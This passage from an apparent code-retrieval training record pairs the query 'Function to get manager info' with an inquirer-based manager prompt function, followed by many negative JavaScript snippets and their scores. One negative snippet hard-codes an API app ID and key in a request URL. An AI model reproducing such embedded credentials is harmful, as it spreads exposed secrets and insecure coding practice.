title, terms, url) {\n var $match = $(\"#\" + id).find(\".result:not(.default):not(.match)\").first();\n\n $match.addClass(\"match\").\n attr({\"title\" : _convertTitle(title), \"href\" : url}).\n data({ \"type\" : \"match\", \"terms\" : title }).\n append(\n $(\"<span class='go'/>\").text(\"go\"),\n $(\"<span class='title'/>\").html(highlight(title, terms))\n );\n}", "static $find(condition) {\n\t\tvar className = this;\n\t\tlet connector = className.$getConfig('connector');\n\t\treturn connector.$query(condition).then((records) => {\n\t\t\t// create new instance for each found record\n\t\t\tvar rtn = getCollectionInstance(className, condition);\n\t\t\tif(Array.isArray(records)){\n\t\t\t\tfor(let r of records){\n\t\t\t\t\tlet instance = className.$new(r);\n\t\t\t\t\trtn.push(instance)\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn Promise.resolve(rtn);\n\t\t})\n\t}", "static instantiate (data) {\n return new InstancesCollection(data)\n }", "function SearchUserObject() {\n concatResult();\n window.searchQuery = searchInput.value;\n CreateURI(centerLat, centerLng);\n}", "function newStatusItem(searchText, outputText, isComplete) {\n if (typeof(isComplete) === 'undefined') {\n isComplete = false;\n }\n\n return {\n text: searchText,\n output: outputText,\n complete: isComplete\n };\n}", "function createSearch() {\n URL = \"https://api.yummly.com/v1/api/recipes?_app_id=87e47442&_app_key=11e4aadcc3dddb10fa26ae2968e1ce03&q=\" + userInput + allergyRequest + dietRequest + \"&maxResult=20\";\n $.ajax({\n url: URL,\n method: \"GET\"\n //once myObj object returns, pass in myObj to the next function\n }).then(function(results) {\n var data = results.matches;\n console.log(data);\n localStorage.removeItem(\"data\");\n localStorage.setItem(\"data\", JSON.stringify(data));\n window.location.href= \"/recipe\";\n });\n }", "static search(props, state, seekIndex, expand, singleSearch) {\n const {\n onChange,\n getNodeKey,\n searchFinishCallback,\n searchQuery,\n searchMethod,\n searchFocusOffset,\n onlyExpandSearchedNodes,\n } = props;\n\n const { instanceProps } = state;\n\n // Skip search if no conditions are specified\n if (!searchQuery && !searchMethod) {\n if (searchFinishCallback) {\n searchFinishCallback([]);\n }\n\n return { searchMatches: [] };\n }\n\n const newState = { instanceProps: {} };\n\n // if onlyExpandSearchedNodes collapse the tree and search\n const { treeData: expandedTreeData, matches: searchMatches } = find({\n getNodeKey,\n treeData: onlyExpandSearchedNodes\n ? toggleExpandedForAll({\n treeData: instanceProps.treeData,\n expanded: false,\n })\n : instanceProps.treeData,\n searchQuery,\n searchMethod: searchMethod || defaultSearchMethod,\n searchFocusOffset,\n expandAllMatchPaths: expand && !singleSearch,\n expandFocusMatchPaths: !!expand,\n });\n\n // Update the tree with data leaving all paths leading to matching nodes open\n if (expand) {\n newState.instanceProps.ignoreOneTreeUpdate = true; // Prevents infinite loop\n onChange(expandedTreeData);\n }\n\n if (searchFinishCallback) {\n searchFinishCallback(searchMatches);\n }\n\n let searchFocusTreeIndex = null;\n if (\n seekIndex &&\n searchFocusOffset !== null &&\n searchFocusOffset < searchMatches.length\n ) {\n searchFocusTreeIndex = searchMatches[searchFocusOffset].treeIndex;\n }\n\n newState.searchMatches = searchMatches;\n newState.searchFocusTreeIndex = searchFocusTreeIndex;\n\n return newState;\n }", "constructor() {\n this.addSearchHTML();\n\n this.openButton = $('.js-search-trigger');\n this.closeButton = $('.search-overlay__close');\n this.searchOverlay = $('.search-overlay');\n this.searchField = $('#search-term');\n this.isOpen = false;\n this.typingTimer;\n this.resultsDiv = $('#search-overlay__result');\n this.previousValue;\n this.isSpinVisible = false;\n \n this.events();\n }" ]
[ "0.568512", "0.55292743", "0.5440521", "0.5430785", "0.53727365", "0.53714883", "0.5296098", "0.5254659", "0.52486676", "0.524381", "0.52188295", "0.52155364", "0.5213741", "0.5188469", "0.51589525", "0.5110713", "0.51057744", "0.50930196", "0.50793517", "0.50792193", "0.5071283", "0.50615233", "0.5061438", "0.5046686", "0.5025761", "0.50144273", "0.49735403", "0.4967196", "0.4965893", "0.49635744", "0.49457067", "0.4935331", "0.4933216", "0.49315783", "0.4930873", "0.49087042", "0.49003053", "0.48987272", "0.48974156", "0.4893372", "0.48919776", "0.4874944", "0.48729298", "0.4870081", "0.48699877", "0.4868836", "0.4866772", "0.48613778", "0.4855656", "0.48411816", "0.483297", "0.4824874", "0.48221654", "0.48165074", "0.4814572", "0.4813971", "0.48114783", "0.48100346", "0.48025006", "0.47910073", "0.47863764", "0.47843495", "0.47814155", "0.47788528", "0.47718123", "0.47656313", "0.47632128", "0.47631916", "0.47580844", "0.475105", "0.4750441", "0.47496387", "0.47460464", "0.47404298", "0.47392207", "0.47365692", "0.4735835", "0.47285396", "0.47266802", "0.47266442", "0.47264522", "0.4718481", "0.4713832", "0.47117522", "0.47094184", "0.47075686", "0.46982345", "0.46925816", "0.46922523", "0.46922523", "0.46919134", "0.4689317", "0.46883008", "0.46740338", "0.46680546", "0.46634305", "0.46609798", "0.4659232", "0.46579602", "0.46504423", "0.46480665" ]
0.0
-1
Function to get manager info
function managerDetails() { inquirer.prompt([ { type: 'input', name: 'name', message: 'What is your managers name?', validate: answer => { if (answer) { return true; } else { console.log('Please enter your managers name!'); return false; } } }, { type: 'number', name: 'id', message: 'What is your managers ID number?', validate: answer => { if (answer) { return true; } else { console.log('Please enter your managers ID number!'); return false; } } }, { type: 'input', name: 'email', message: 'What is your managers email?', validate: answer => { if (answer) { return true; } else { console.log('Please enter your managers email!'); return false; } } }, { type: 'number', name: 'officeNumber', message: 'What is your managers office number?', validate: answer => { if (answer) { return true; } else { console.log('Please enter your managers office number!'); return false; } } }, ]).then(data => { const name = data.name; const id = data.id; const email = data.email; const officeNumber = data.officeNumber; const manager = new Manager(name, id, email, officeNumber) teamArr.push(manager); teamMembers() }) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function getManager() {\n selectManager();\n return managerArray;\n}", "getManager() {\n return this.props.manager;\n }", "function getManager() {\n return Inquirer.prompt([\n {\n message: \"What is your name?\",\n type: \"input\",\n name: \"name\",\n }, {\n message: \"What is your Id\",\n type: \"input\",\n name: \"id\",\n }, {\n message: \"What is your email?\",\n type: \"input\",\n name: \"email\",\n }, {\n message: \"What is your office number?\",\n type: \"input\",\n name: \"officeNumber\",\n }\n ])\n}", "function getManager(){\n return masterManager || (masterManager = service.newManager());\n }", "displayInfo() {\n\t\t\tlet info = super.displayInfo() + ', менеджер: ' + this.manager.name ;\n\t\t\tconsole.log( info );\n\t\t\treturn info\n\t\t\t}", "function getManager(req, res){\r\n User.find({roles:'admin'}).exec((err, users) => {\r\n if(err){\r\n res.status(500).send({message:'Se ha producido un error en la peticion'});\r\n }else{\r\n if(!users){\r\n res.status(404).send({message:'No se ha encontrado lista de administracion'});\r\n }else{\r\n res.status(200).send({users});\r\n }\r\n }\r\n });\r\n}", "getObjectManager(name) {\n return self.objectManagers[name];\n }", "async function getStoreManagers() {\n var self = this;\n var nosql = new Agent();\n nosql.select('getStoreUsers', 'configuration').make(function (builder) {\n builder.where('configurationName', 'Store_Managers');\n builder.first();\n });\n var getStoreUsers = await nosql.promise('getStoreUsers');\n var json = getStoreUsers.configurationDetails;\n //console.log(\"data\",json)\n if (json != null) {\n self.json({\n status: true,\n message: \"Success\",\n data: json\n })\n } else {\n self.json({\n status: false\n })\n }\n}", "viewByManager() {\n // collect manager info\n inquirer.prompt([\n questions.functions.manager,\n ])\n // send results to view by function\n .then((results) => {\n dbFunctions.viewBy(results)\n .then((results) => {\n console.table(results)\n startManagement()\n })\n\n })\n }", "async function getManager(){\n \n let manager = new Manager();\n // calls class specific question stores the results into the new class object\n let roleResultObj = await inquirer.prompt(manager.getRole());\n manager.role = roleResultObj.role\n\n let nameResultObj = await inquirer.prompt(manager.getName());\n manager.name = nameResultObj.name;\n\n let idResultObj = await inquirer.prompt(manager.getId());\n manager.id = idResultObj.id;\n\n let emailResultObj = await inquirer.prompt(manager.getEmail());\n manager.email = emailResultObj.email;\n\n let officeNumberResultObj = await inquirer.prompt(manager.getOfficeNumber());\n manager.specialAttr = officeNumberResultObj.officeNumber;\n // pushes the manager object into the team array\n teamArray.push(manager);\n\n getTeamMembers();\n}", "function Manager() {}", "function Manager() {}", "function getMangerInfo() {\n inquirer.prompt([{\n type: \"input\",\n name: \"name\",\n message: \"Enter the manager's name:\"\n\n },\n {\n type: \"input\",\n name: \"id\",\n message: \"Enter the manager's ID:\"\n\n },\n {\n type: \"input\",\n name: \"email\",\n message: \"Enter the manager's email:\"\n },\n {\n type: \"input\",\n name: \"officeNumber\",\n message: \"Enter the manager's office number:\"\n },\n \n ])\n .then(({ name, id, email, officeNumber }) => { //push manager object to employees array\n \n employees.push(new Manager(name, parseInt(id), email, parseInt(officeNumber)));\n enterEmployee();\n })\n}", "function managerOption() {\n return new Promise((resolve, reject) => {\n connection.query(\"SELECT * FROM employee WHERE manager_id IS NOT NULL\", function (err, data) {\n if (err) throw err;\n resolve(data);\n });\n });\n}", "alertmanagers() {\r\n return this.request('GET', 'alertmanagers');\r\n }", "function getMasterInfo()\n{\n\tvar request = {\"Cmd\" : \"info\"};\n\n\tclearAllWbdTimers(TIMER_MASTERINFO);\n\tgetMasterInfoFromServer(request);\n\tg_wbdMasterInfoTimeout.push(setTimeout(function(){ getMasterInfo(); }, g_wbdTimeOutVal));\n}", "function viewEmployeeManager() {\n\n var query =\n `SELECT e.manager_id, m.first_name AS manager_first, m.last_name AS manager_last, e.first_name, e.last_name\n FROM employee e\n LEFT JOIN roles r\n ON e.roles_id = r.id\n LEFT JOIN department d\n ON d.id = r.department_id\n LEFT JOIN employee m\n ON m.id = e.manager_id\n ORDER BY e.manager_id`\n \n connection.query(query, function (err, res) {\n if (err) throw err;\n \n console.table(res); \n init(); \n \n });\n }", "get_persistent_info()\n\t{\n\t\treturn Memory.rooms[this.name]\n\t}", "getNewManager() {\n return new Manager();\n }", "async getInfo() {\n let userResult = await this.request(\"guild\");\n return userResult.guild;\n }", "function manager() {\n inquirer.prompt({\n name: \"manager\",\n type: \"list\",\n message: \"Please select an option from the list below:\",\n choices: [\"[View Products for Sale]\", \"[View Inventory]\", \"[Add Inventory]\", \"[Add New Product]\", \"[Exit]\"]\n })\n .then(function (answer) {\n switch (answer.manager) {\n case \"[View Products for Sale]\":\n viewAll()\n break;\n case \"[View Inventory]\":\n viewLow()\n break;\n case \"[Add Inventory]\":\n addLow()\n break;\n case \"[Add New Product]\":\n addNew()\n break;\n case \"[Exit]\":\n connection.end();\n process.exit();\n break;\n }\n });\n}", "viewAllManager() {\n\t\tconst query = `\n\t\tselect \n\t\ts1.manager_id, s2.first_name, s2.last_name,\n\t\tstaffrole.title,staffrole.salary,\n\t\tdepartment.name as department,\n\t\tcount(s1.manager_id) as staff_managing,\n\t\t(CONCAT(s2.first_name, ' ', s2.last_name)) AS manager_full_name\n\t\tfrom employee as S1\n\t\tRight join employee as s2 on (s1.manager_id = s2.id)\n\t\tLEFT JOIN staffrole on (S2.role_id = staffrole.id)\n\t\tLEFT JOIN department on (staffrole.department_id = department.id)\n\t\twhere s1.manager_id is not null\n\t\tgroup by s1.manager_id`;\n\t\treturn this.connection.query(query);\n\t}", "getArrayManager(name) {\n return self.arrayManagers[name];\n }", "function projectManagers() {\n $scope.projectManagersMapList = {}\n APIFactory.getUsersByRole({\n \"role\": \"DevManager\"\n }, function (response) {\n if (response.status) {\n $scope.projectManagersMapList = response.data;\n _.each($scope.projectManagersMapList, function (pObj) {\n $scope.projectManagersMapList[pObj.id] = pObj\n })\n } else {\n $scope.projectManagersMapList = []\n }\n })\n }", "function viewAllEmployeesByManager() {\n const query3 = 'select employee.id, employee.first_name,employee.last_name FROM employee;';\n connection.query(query3, (err, res) => {\n if (err) throw err;\n const managerChoices = res.map((data) => ({\n value: data.id, name: `${data.first_name} ${data.last_name}`,\n }));\n // console.table(res);\n // console.log(managerChoices);\n promptManager(managerChoices);\n });\n}", "getUserInfos() {\n return Api.get(\"client/user-infos\");\n }", "async function managerInfo(teamname) {\n await inquirer\n .prompt([\n {\n message: 'What is the Team Manager\\'s name?',\n name: 'managername'\n },\n {\n message: 'What is the Manager\\'s ID#?',\n name: 'managerID'\n },\n {\n message: 'What is the Manager\\'s Email?',\n name: 'managerEmail'\n },\n {\n message: 'What is the Manager\\'s Office #?',\n name: 'officeNumber'\n }\n ]).then(\n function (manData) {\n\n const name = manData.managername;\n const id = manData.managerID;\n const email = manData.managerEmail;\n const officeNumber = manData.officeNumber;\n\n const manager = new Manager(id, name, email, officeNumber);\n\n indivEmpl = fs.readFileSync(\"templates/manager.html\");\n allHTML = allHTML + \"\\n\" + eval('`' + indivEmpl + '`');\n\n engSize(manager, teamname);\n\n })\n}", "function Manager(managerName) {\n return _super.call(this, managerName) || this;\n }", "function loadManagerMenu() {\n connection.query(\"SELECT * FROM products\", function(err, res) {\n if (err) throw err;\n // Load the possible manager menu options, pass in the products data\n loadManagerOptions(res);\n });\n}", "pickAManager() {\n\t\tconst query = `\n\t\tSELECT \n\t\ts2.id,\n\t\t(CONCAT(s2.first_name, ' ', s2.last_name)) AS manager\n\t\tFROM employee as S1\n\t\tright JOIN employee as S2 on (S2.id = s1.id)`;\n\t\treturn this.connection.query(query);\n\t}", "function getManager(connectionName) {\n if (connectionName === void 0) { connectionName = \"default\"; }\n return getConnectionManager().get(connectionName).manager;\n}", "function listManagers() {\n $.when.apply($, Interface.getAvailable()).then(function () {\n var args = arguments,\n managers = [];\n\n for (var i = args.length - 1; i >= 0; i--) {\n managers.push(args[i]);\n }\n\n var template = require(\"text!html/managers.html\"),\n templateData = _.merge({\"available\" : managers }, Strings),\n templateHtml = Mustache.render(template, templateData);\n\n $('#brackets-cardboard-managers').html(templateHtml);\n });\n }", "function createManager(managerName, managerAge, currentTeam, trophiesWon) {\n let managerDetails = [managerName, managerAge, currentTeam, trophiesWon];\n return managerDetails;\n}", "function getInfo(){\t\t\n\treturn cachedInfo;\n}", "async function viewByManager() {\n clear();\n const managers = await connection.query(\"SELECT * FROM employee\");\n const managerOptions = managers.map(({ id, first_name, last_name }) => ({\n name: first_name.concat(\" \", last_name),\n value: id,\n }));\n\n const { userManagerId } = await inquirer.prompt([\n {\n type: \"list\",\n message: \"Which manager's employees would you like to view?\",\n name: \"userManagerId\",\n choices: managerOptions,\n },\n ]);\n\n const employees = await connection.query(\n employeesSQL + \" WHERE manager.id = ?;\", userManagerId\n );\n\n log(\"\\n\");\n console.table(employees);\n mainMenu();\n}", "function viewEmpsByMgr () {\n\n return inquirer.prompt([\n\n {\n type:\"input\",\n name:\"managerId\",\n message: \"What is the Manager ID that you want to search with? (Enter 0 if Employees are Managers. If ID is Unknown, View Employees from the Main Menu.)\"\n }\n\n ]).then(function (data, err) {\n\n if (err) throw err;\n\n connection.query(\"SELECT * FROM employee WHERE manager_id = ?;\", [data.managerId], function(err, res) {\n\n if (err) throw err;\n \n console.log(res);\n \n turnBack()\n \n })\n\n })\n\n}", "getMonitorInfo(params, cb) {\n util.getMyWindowIdentifier((myWindowIdentifier) => {\n if (!params.windowIdentifier) {\n params.windowIdentifier = myWindowIdentifier;\n }\n this.routerClient.query(\"Launcher.getMonitorInfo\", params, function (err, response) {\n if (cb) {\n cb(err, response.data);\n }\n });\n });\n }", "function selectManager() {\n db.query('SELECT first_name FROM employee WHERE manager_id IS NULL', function (err, res) {\n for (var i = 0; i < res.length; i++) {\n theManagers.push(res[i].first_name)\n }\n })\n return theManagers;\n}", "function getMngrAsstMngr(companyId, regionId, businessId) {\r\n return get('/property/getmngrasstmngr', { companyId: companyId, regionId: regionId, businessId: businessId }).then(function (res) {\r\n return res.data;\r\n }).catch(function (err) {\r\n return err.response.data;\r\n });\r\n}", "getInfo() {\n return this.info;\n }", "function manager() {\n console.log(\"let's get started with building your team!\");\n inquirer.prompt(managerSetup).then(function(data) {\n const manager = new Manager(data.managerName, data.managerId, data.managerEmail,data.managerOfficeNumber);\n fullTeam.push(manager);\n emptyId.push(data.managerId);\n\n \n team();\n });\n}", "async function viewByManager() {\n\n // Prompts\n const { manager } = await prompt({\n name: \"manager\",\n message: \"What manager would you like to chose?\",\n choices: [\"John Doe\", \"Mary Smith\", \"Gary Stone\"],\n type: \"list\",\n });\n let manID;\n if (manager === \"John Doe\") {\n manID = 1;\n }\n if (manager === \"Mary Smith\") {\n manID = 3;\n }\n if (manager === \"Gary Stone\") {\n manID = 7;\n }\n \n const query = `SELECT first_name, last_name, title, salary\n FROM employee\n INNER JOIN role ON employee.role_id = role.id \n WHERE manager_id = ?`;\n // Send request to database\n const data = await connection.query(query, manID);\n console.table(data);\n \n }", "getRole() {\n\n return \"Manager\";\n }", "viewEmployeesByManager() {\n console.log(`\n\n * Viewing All Employees by Manager *\n `)\n connection.query(`SELECT e.id, e.first_name, e.last_name, CONCAT(m.first_name, ' ', m.last_name) AS manager FROM employees e LEFT JOIN employees m ON e.manager_id = m.id ORDER BY manager DESC;`, function(err, res) {\n if (err) throw err;\n console.table(res);\n beginAgain();\n })\n }", "getRole(){\n return \"Manager\"\n }", "async getInfo() {\n let userResult = await this.request(\"user\");\n return userResult.user;\n }", "async function viewEmployeesByManager() {\n const\n managerList = await employees.getListManagers(),\n {managerId} = await inquirer.prompt([\n {\n type: \"list\",\n message: \"Which manager's employees would you like to view?\",\n choices: managerList,\n name: \"managerId\"\n }\n ])\n\n showTable(await employees.getTableByManager(managerId))\n}", "function Manager(managerName) {\r\n /** const has to acept a name that initializes base class para\r\n so use - super keyword */\r\n return _super.call(this, managerName) || this;\r\n }", "function viewManager() {\n connection.query(\n \"SELECT CONCAT(m.first_name, ' ', m.last_name) AS 'Manager',CONCAT(e.first_name, ' ', e.last_name) AS 'Employee', title as EmployeeTitle, salary as Salary, name as Department FROM employee e LEFT JOIN roles ON roles.roleid = e.role_id LEFT JOIN department ON department.deptid = roles.department_id INNER JOIN employee m ON m.empid = e.manager_id ORDER BY manager\",\n function (err, res) {\n if (err) throw err;\n console.table(res)\n reroute();\n })\n}", "async function getWorkOrdersManager(req, res) {\n try {\n const db = req.app.get(\"db\");\n const workOrdersManager = await db.getWorkOrdersManager([\n req.params.managerId\n ]);\n res.send(workOrdersManager, 200);\n } catch (error) {\n console.error(error);\n }\n}", "function viewByManager() {\n inquirer\n .prompt({\n name: \"choice\",\n message: \"Select one manager\",\n type: \"list\",\n choices: [\n \"Anil Kumar\",\n \"Barbara Corcoran\",\n \"Ray Dalio\"],\n }).then((result)=>{\n var manager = result.choice;\n connection.query(\n \"SELECT * FROM employee WHERE manager=?\", [manager],\n function (err, res) {\n if (err) throw err;\n console.table(res);\n start();\n }\n );\n })\n\n }", "function getNodeInformation() {\r\n _doGet('/node/info');\r\n }", "function managerView() {\n inquirer.prompt([\n {\n type: 'list',\n message: 'Manager View - Select Options',\n name: 'managerOption',\n choices: ['View Products for Sale', 'View Low Inventory', 'Add to Inventory', 'Add New Product', 'EXIT']\n }\n ]).then(function (choice) {\n if (choice.managerOption === 'View Products for Sale') {\n productsForSale();\n } else if (choice.managerOption === 'View Low Inventory') {\n lowInventory();\n } else if (choice.managerOption === 'Add to Inventory') {\n inventoryOptions();\n } else if (choice.managerOption === 'Add New Product') {\n addNewProduct();\n } else if (choice.managerOption === 'EXIT') {\n quit();\n }\n });\n}", "function GetMiningInfo() {\n return { method: 'getmininginfo' };\n}", "function viewManager() {\n inquirer\n .prompt([\n {\n name: \"viewManager\",\n type: \"list\",\n choices: managersarray,\n message: \"Please choose which manager you'd like to view employees of\"\n }\n ])\n .then(function(answer) {\n let query = answer.viewManager[0] \n connection.query(\n \"SELECT employee.id, employee.first_name, employee.last_name, person_role.title, person_role.salary, department.dept_name, CONCAT(e.first_name, ' ' ,e.last_name) AS Manager FROM employee INNER JOIN person_role on person_role.id = employee.role_id INNER JOIN department on department.id = person_role.department_id left join employee e on employee.manager_id = e.id WHERE employee.manager_id = ?\", query, (err, res) => {\n if (err) throw err;\n console.table(res);\n start();\n });\n });\n}", "function getLocationForCurrentManager(index) {\n return managerData[currentManager].locations[index];\n }", "getRole () {\n return \"Manager\";\n }", "getRole () {\n return \"Manager\";\n }", "function viewAllEmployeesByManager() {\n\n //pick manager\n return inquirer\n .prompt([\n {\n name: \"manager\",\n type: \"rawlist\",\n message: \"Please choose one manager from the following list\",\n choices: managerNameList\n }\n ]).then(function (answer) {\n var byManager = answer.manager;\n\n getManagerId(byManager)\n\n // find out the employees supervised by the selected manager\n var sql = \"SELECT * FROM employee WHERE manager_id = ?\"\n connection.query(sql, managerId, function (err, results) {\n if (err) throw err;\n console.log(\"----------------------------------------------------------------------\")\n console.log(\"Manager: \" + byManager)\n console.table(results)\n userInput()\n })\n });\n}", "getProfileManager() {\n return this._profileManager\n }", "getUserInfo(){\n return getUser()\n }", "async getSysInfo() {\n let response = await this.get('/api/slot/0/sysInfo');\n return Object.assign({}, response.sysInfo.device[0],\n response.sysInfo.network.LAN);\n }", "function getLowestCommonManager(topManager, reportOne, reportTwo) {\n // Write your code here.\n\treturn getOrgInfo(topManager, reportOne, reportTwo).lowestCommonManager;\n}", "viewManagers() {\n return connection.query(`SELECT em.id, em.first_name, em.last_name, em.role_id, er.title\n from employee em \n inner join role er\n on em.role_id = er.id \n where (er.title like '%Manager'\n or er.title like '%Lead')`)\n }", "async getSystemInformation() { \n \n const results = await this.executeSQL(this.StatementLibrary.SQL_SYSTEM_INFORMATION) \n const sysInfo = results[0];\n\n return Object.assign(\n\t super.getSystemInformation()\n\t, {\n sessionUser : sysInfo.SESSION_USER\n , dbName : sysInfo.DATABASE_NAME\n , serverHostName : sysInfo.SERVER_HOST\n , databaseVersion : sysInfo.DATABASE_VERSION\n , serverVendor : sysInfo.SERVER_VENDOR_ID\n\t , yadamuInstanceID : sysInfo.YADAMU_INSTANCE_ID\n\t , yadamuInstallationTimestamp : sysInfo.YADAMU_INSTALLATION_TIMESTAMP\n , nls_parameters : {\n serverCharacterSet : sysInfo.SERVER_CHARACTER_SET\n , databaseCharacterSet : sysInfo.DATABASE_CHARACTER_SET\n }\n }\n\t)\n }", "function getMemInfo(gopher) {\n const reminderCount = gopher.webhook.getTaskData(\"mem.reminder_num\", 1);\n const frequencyPref = gopher.webhook.getTaskData(\n \"mem.frequency_pref\",\n memConfig.defaultFrequencyPref\n );\n return { reminderCount, frequencyPref };\n }", "function getExtendedInfo() {\r\n _doGet('/node/extended-info');\r\n }", "info (request, reply) {\n reply(this.app.services.DefaultService.getApplicationInfo())\n }", "_requestInfo(){\n console.log(\"requesting info\")\n // Create a graph request asking for user information with a callback to handle the response.\n const infoRequest = new GraphRequest(\"/me\", null, this._responseInfoCallback);\n new GraphRequestManager()\n .addRequest(infoRequest)\n .start();\n }", "async accessInfo(){\n return this.get(\"access-info\", null);\n }", "async fetchUserInfo() {\n await context.store.dispatch(\"platform2/on_get_userinfo\");\n return context.store.state.platform2.storage.userinfo;\n }", "employeeInfo() {\n return connection.query(`SELECT ee.id, ee.first_name, ee.last_name, er.title, ed.dept_name, er.salary, CONCAT(em.first_name,' ',em.last_name) as manager\n FROM employees_db.employee as ee\n LEFT JOIN employees_db.role as er\n ON ee.role_id = er.id\n LEFT JOIN employees_db.department as ed\n ON er.department_id = ed.id\n LEFT JOIN employees_db.employee as em\n on ee.manager_id = em.id`)\n }", "getInfo(options = {}) {\n if (!this.cache.info) {\n this.toParts();\n this.cache.info = getInfo(this.cache.parts, options);\n }\n return this.cache.info;\n }", "function initManager() {\n employeeList.length = 0;\n inquirer.prompt(managerQues).then(function (data) {\n const manager = new Manager(\n data.name,\n employeeID,\n data.email,\n data.officeNumber\n );\n employeeID++;\n employeeList.push(manager);\n checkEmployeeType(data.type);\n });\n}", "getRole() {\n return \"Manager\";\n }", "getRole() {\n return \"Manager\";\n }", "function getInfo() {\n return new Promise((resolve, reject) => {\n var response;\n multichain.getInfo({\n\n },\n (err, res) => {\n console.log(res)\n if (err == null) {\n return resolve({\n response: res,\n message: \"Blockchain Information\"\n });\n } else {\n console.log(err)\n return reject({\n status: 500,\n message: 'Internal Server Error !'\n });\n }\n }\n )\n\n })\n}", "function addManager() {\n inquirer.prompt(managerQs).then((answers) => {\n const manager = new Manager(answers.name, answers.id, answers.email, answers.officeNumber)\n teamMembers.push(manager);\n questionUser();\n })\n }", "getRole () {\n\n return 'Manager';\n }", "getNodeInformation() {\n return this.query('/', 'GET');\n }", "function viewEmpWMngr() {\n inquirer.prompt({\n name: \"managerName\",\n type: \"list\",\n message: \"Choose the Manager you want to see all employees :\",\n choices: employeeFullName\n })\n\n .then(async function (answers) {\n let mngrId = getManagerID(answers.managerName, employeesArray);\n\n let query = `SELECT id AS ID, first_name as 'FIRST NAME', last_name as 'LAST NAME' FROM employee WHERE manager_id=${mngrId};`;\n connection.query(query, (err, res) => {\n if (err) throw err;\n if (res.length === 0) {\n console.log(\"No Employees under that manager.\");\n }\n else {\n printTable(res);\n }\n CMS();\n });\n })\n}", "getRole(){\n return 'Manager';\n }", "function createManager() {\n inquirer.prompt(managerQuestions).then(response => {\n let manager = new Manager(\n response.nameOfManager,\n response.idOfManager,\n response.emailOfManager,\n response.officeNumberOfManager\n );\n // Push manager to team array\n team.push(manager);\n // Calls function employeeOption()\n employeeOption();\n });\n }", "get managingOrganization() {\n\t\treturn this.__managingOrganization;\n\t}", "SET_MANAGER(state, address) {\n state.contract.manager = address\n }", "createManager (network, mode, addressScheme, currencies) {\n }", "function getProjectManagers () {\n\t$.ajax({\n\t\ttype: 'POST',\n\t\turl: 'Project',\n\t\tdata: {\n\t\t\t'domain': 'project',\n\t\t\t'action': 'getProjectManagers',\n\t\t}, complete: function (data) {\n\t\t\tconsole.log(\"REPONSE JSON FROM getProjectManagers() = \",data.responseJSON);\n\t\t\tprojectManagers = data.responseJSON;\n\t\t\tif (data.responseJSON) {\n\t\t\t\tcreateManagerQueue(data.responseJSON);\n\t\t\t}\n\n\t\t\telse{console.log(\"NO RESPONSE JSON FROM getProjectManagers()\");}\n\t\t}\n\t\t\n\t});\n}", "async getMemoryInfo(){\r\n return this.call('getmemoryinfo',...(Array.from(arguments)));\r\n }", "async function selectManager() {\n let managerRole = await db.chooseManager();\n\n for (var i = 0; i < managerRole.length; i++) {\n let managerObj = { name: managerRole[i].first_name, value: managerRole[i].id }\n managerArray.push(managerObj);\n }\n}", "function managers(names, web3) {\n \n // RESPONSE PLACEHOLDER\n const response = {};\n\n // LOOP THROUGH & COMBINE EACH ABI & ADDRESS\n names.forEach(name => {\n response[name] = new web3.eth.Contract(\n references[name + 'manager'].abi,\n references[name + 'manager'].address\n )\n })\n\n return response;\n}", "function getServerInfo() {\n\n\t//Server Info\n\tsteamServerStatus.getServerStatus(\n\t\t'ark.josh.care', 27015, function(serverInfo) {\n\t\t\tif (serverInfo.error) {\n\t\t\t\tconsole.log(serverInfo.error);\n\t\t\t\tarkInfo.josh.status = \"down\";\n\t\t\t} else {\n\t\t\t\tarkInfo.josh = serverInfo;\n\t\t\t\tarkInfo.josh.status = \"up\";\n \n //Player Info\n var sq = new SourceQuery(1000);\n sq.open('ark.josh.care', 27015);\n sq.getPlayers(function(err, players){\n if(err) {\n console.log(err);\n } else {\n //setup players to be array\n arkInfo.josh.players = [];\n players.forEach(function(player){\n arkInfo.josh.players.push(player.name);\n });\n }\n });\n \n\t\t\t}\n\t});\n\t\n}", "function getUserInfo() {\n\tuid = parseInt(childProcess.execSync('id -u www-data').toString().replace(/\\n$/, ''));\n\tgid = parseInt(childProcess.execSync('id -g www-data').toString().replace(/\\n$/, ''));\n return {\"uid\": uid,\"gid\": gid};\n}", "function viewEmpMan() {\n inquirer.prompt([\n {\n type: 'list',\n name: \"managerID\",\n message: \"Please select the manager of the employees you would like to view.\",\n choices: managersList\n }\n ]).then(function(data) {\n let managerEmp = data.managerID;\n\n connection.query(\n `\n SELECT\n emp1.id AS 'Employee ID',\n emp1.first_name AS 'First Name',\n emp1.last_name AS 'Last Name',\n CONCAT(emp2.first_name, ' ', emp2.last_name) AS Manager\n FROM employee emp1\n INNER JOIN employee emp2\n ON emp1.manager_id = emp2.id\n WHERE emp2.id = ?\n `\n , [managerEmp]\n , function (error, res) {\n console.table(res);\n mainMenu();\n }\n );\n });\n}", "getAccountInfo() {\n return request(`${this.locationPrefix}/account/info`, 'GET', this.config);\n }", "function getConnectionManager() {\n return container_1.getFromContainer(ConnectionManager_1.ConnectionManager);\n}", "viewAllEmployeesByManager(){\n return this.connection.query(\n `\n SELECT\n e1.id AS ID,\n e1.first_name AS First_Name,\n e1.last_name AS Last_Name,\n role.title AS Role,\n department.name AS Department,\n CONCAT(e2.first_name, ' ', e2.last_name) AS Manager,\n role.salary AS Salary\n FROM\n employee e1\n LEFT JOIN\n role ON e1.role_id = role.id\n LEFT JOIN\n employee e2 ON e1.manager_id = e2.id\n\t\t LEFT JOIN department ON role.department_id = department.id\n\t\t ORDER BY\n e1.manager_id;\n `\n );\n }", "function managerDashboard() {\n inquirer.prompt([\n {\n type: \"list\",\n name: \"mngrOptions\",\n message: \"Menu Selection\",\n choices: [new inquirer.Separator(), \"Products\", \"Inventory\", \"Update Inventory\", \"Add Products\"]\n }\n ]).then(function(results) {\n switch(results.mngrOptions) {\n case \"Products\":\n products();\n break;\n\n case \"Inventory\":\n lowInventory();\n break;\n\n case \"Update Inventory\":\n addInventory();\n break;\n\n case \"Add Products\":\n addProduct();\n break;\n }\n })\n}", "get systems() {\n return this[\"systemManager\"]._systems;\n }", "function createManager() {\r\n return new PrivateManager();\r\n}", "function createManager() {\r\n return new PrivateManager();\r\n}" ]
